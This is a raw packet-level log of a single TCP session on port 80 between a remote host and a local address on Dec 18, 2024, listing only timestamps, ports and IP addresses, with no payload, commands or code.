Dec 18, 2024 14:07:36.874438047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.874484062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.874553919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.874846935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.874933958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.874980927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.875741005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.875957012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.876004934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.876646996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.876869917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.876914024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.876993895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.877803087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.877841949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.877887011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.878578901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.878642082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.878779888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.879626989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.879707098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.879740953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.880330086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.880405903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.880417109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.881370068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.881383896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.881637096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.882090092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.882181883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.882186890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.882942915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.883060932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.883203030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.883802891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.883873940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.884012938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.884674072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.884705067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.884718895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.925168037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.983419895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.983493090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.983550072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.983997107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.984009027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.984169006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.984613895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.984626055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.984721899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.985354900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.985382080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.985450983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.986308098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.986320019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.986406088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.987145901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.987309933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.987401962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.988024950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.988128901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.988209963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.988751888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.988828897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.988899946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.989653111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.989671946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.989748001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.990518093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.990577936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.990648985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.991545916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.991619110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.991694927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.992295980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.992419004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.992645979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.993169069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.993316889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.993947029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.994072914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.994077921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.994112968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.994932890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.994945049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.995040894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.995691061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.995704889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.995809078 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.996570110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.996668100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.997596025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.997652054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.997852087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.998493910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.998580933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.998656988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.998723984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:36.999243021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.999284029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:36.999363899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.000216961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.000289917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.000458002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.000982046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.001230955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.001358032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.001899004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.002022982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.002120972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.002584934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.002688885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.003483057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.003515959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.003658056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.003707886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.004426003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.004627943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.004684925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.005214930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.005327940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.005409002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.006097078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.006253958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.007044077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.007118940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.007138968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.008011103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.008122921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.008158922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.008158922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.008692980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.008774996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.008933067 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.009629011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.009643078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.009736061 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.010428905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.010591984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.011382103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.011439085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.011461973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.012141943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.012193918 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.012371063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.012418032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.013098001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.013180017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.013233900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.014070988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.014082909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.014178038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.015016079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.015034914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.015116930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.015614033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.015690088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.016484976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.016530037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.016556978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.018124104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.066382885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.066477060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.066545963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.066603899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.066648006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.067682028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.067743063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.067765951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.067810059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.068582058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.068754911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.068804026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.069294930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.069492102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.069912910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.069956064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.070019960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.070559978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.070631027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.070882082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.070991039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.071458101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.071631908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.071677923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.072289944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.072441101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.072674036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.073168039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.073323965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.074150085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.074167013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.074199915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.074220896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.075156927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.075364113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.075409889 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.075969934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.076179981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.076225996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.076677084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.076817989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.076864004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.205060005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.205236912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.205291033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.205542088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.205760956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.205775023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.205976963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.206456900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.206510067 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.206594944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.207344055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.207431078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.207468033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.208344936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.208396912 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.208477974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.209315062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.209367990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.209486961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.210153103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.210177898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.210201025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.211028099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.211077929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.211294889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.212027073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.212065935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.212141037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.213073969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.213118076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.213184118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.213857889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.213872910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.213910103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.214472055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.214488983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.214530945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.215195894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.215282917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.215322018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.215953112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.215991020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.216090918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.217106104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.217143059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.217184067 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.217880964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.217895031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.217937946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.218673944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.218687057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.218725920 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.219495058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.219554901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.219580889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.220288038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.220329046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.220479012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.221168041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.221221924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.221276045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.222114086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.222148895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.222163916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.222956896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.223001957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.223095894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.223834991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.223885059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.223895073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.224657059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.224706888 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.224772930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.225650072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.225692034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.225709915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.226366043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.226402998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.226471901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.227292061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.227348089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.227396965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.228203058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.228255033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.228324890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.228998899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.229108095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.229154110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.230204105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.230243921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.230268002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.230853081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.230889082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.230901957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.231576920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.231678963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.231708050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.232441902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.232553005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.232609987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.233306885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.233351946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.233447075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.234261036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.234303951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.234313965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.235104084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.235150099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.235208988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.235960960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.236016035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.236134052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.236788988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.236886024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.236929893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.237632036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.237814903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.237863064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.238492012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.238734961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.238779068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.299356937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.299436092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.299633980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.299745083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.300008059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.300065041 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.300641060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.300920010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.300988913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.301033020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.301893950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.301907063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.301949978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.302685022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.302772999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.302838087 CET	80	49707	176.113.115.178	192.168.2.8
